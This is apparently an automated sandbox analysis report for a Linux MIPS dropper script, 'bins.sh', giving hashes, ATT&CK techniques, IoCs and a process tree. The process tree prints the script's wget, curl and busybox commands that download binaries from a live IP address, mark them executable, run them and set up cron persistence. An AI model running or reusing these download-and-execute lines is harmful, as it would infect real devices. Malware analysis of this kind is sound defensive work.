152f600ad8f342404a691907cd662de7a1335e4319ec9e34619075743b1ab319

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
18/11/2024, 06:37

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General

Target
bins.sh
Size 10KB
Sample241118-hdgsjawkcl
SHA256 152f600ad8f342404a691907cd662de7a1335e4319ec9e34619075743b1ab319
MD5 7ad7ccefbb1b2e9ef025d0cc5bb07bc8
SHA1 c8d03d9e962290824dfbc3bede57d3f839257b56
SHA512 2724ed801f29b5fd97b1fcd658b84905a5e073f0ddeb4b291289509298ad7931207c7bf7c2b4935656823b5ffcd74a959fd34beedb1f3e11e58241a6e5f5540a
SSDEEP 192:m1dn7Jpe76GFDksUhh8F7wg5phYphIphT8wDhh0adHdzdctuikBBbQAB7wSweweL:o+ffhqhahT8wYK95ctV4EBteNF195ctI
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2028) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
752	chmod
850	chmod
744	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	745	ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
/tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB	753	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
/tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA	851	1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA

Renames itself 1 IoCs

pid	Process
754	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.cFCpeJ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/250/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/795/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/830/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/836/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/889/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/960/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1063/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/20/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/9/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/72/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/766/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/846/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/860/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1023/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1039/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/7/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1044/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/801/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/855/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/861/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/977/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/985/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1036/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/787/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/21/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/384/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/712/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/793/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/841/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/844/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/862/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/19/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1018/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1046/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1065/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/947/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1013/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1017/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1028/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1049/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1006/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/764/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/831/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/927/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/930/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/956/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/4/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/36/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/840/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/932/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/965/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1026/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1055/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/6/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/832/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/983/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/5/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/847/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/946/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/949/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/954/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1037/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1054/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
File opened for reading	/proc/1058/cmdline	pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	curl
File opened for modification	/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	busybox
File opened for modification	/tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB	wget
File opened for modification	/tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB	curl
File opened for modification	/tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB	busybox
File opened for modification	/tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA	busybox
File opened for modification	/tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:712
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Writes file to tmp directory
  PID:721
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  ./ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
  2⤵
  PID:748
- /usr/bin/wget
  wget http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod 777 pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  ./pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:753
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:755
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:756
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:757
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:758
- /bin/rm
  rm pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  PID:848
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  - Writes file to tmp directory
  PID:849
- /bin/chmod
  chmod 777 1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  ./1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm 1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/FUAMa3NFRHzDVW5PTJgWy1QLochCZTE4IZ
  2⤵
  PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA

Path /tmp/1YPR0u9ve4oye6kIi9bINAWnVXCBkPglvA
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6

Path /tmp/ZVUZi1UT2wFHl9qY7hlh9RfrpkYy5KAZh6
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB

Path /tmp/pJqKlopqj2hcglYNyQCtY4DRCLrxtvlQOB
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

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tmp.cFCpeJ

Path /var/spool/cron/crontabs/tmp.cFCpeJ
Size 210B
SHA256 d8aef02f4cae7efe5fbcf8803d50452ad0815fd89ad7aed1c3cb55aca99a001f
MD5 97177fb4ae653aadd0fab3962f4d0c5a
SHA1 677af735531a26b9f018ed0f60378a7b4bf81388
SHA512 7a317d046014ec8f0dc70d0b43773226be08cae74e05f51abfc16604407be2b33a6c00cec098da1555f6532072961b306f6fc41d8607303cd9eb719e4fd28ebe
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads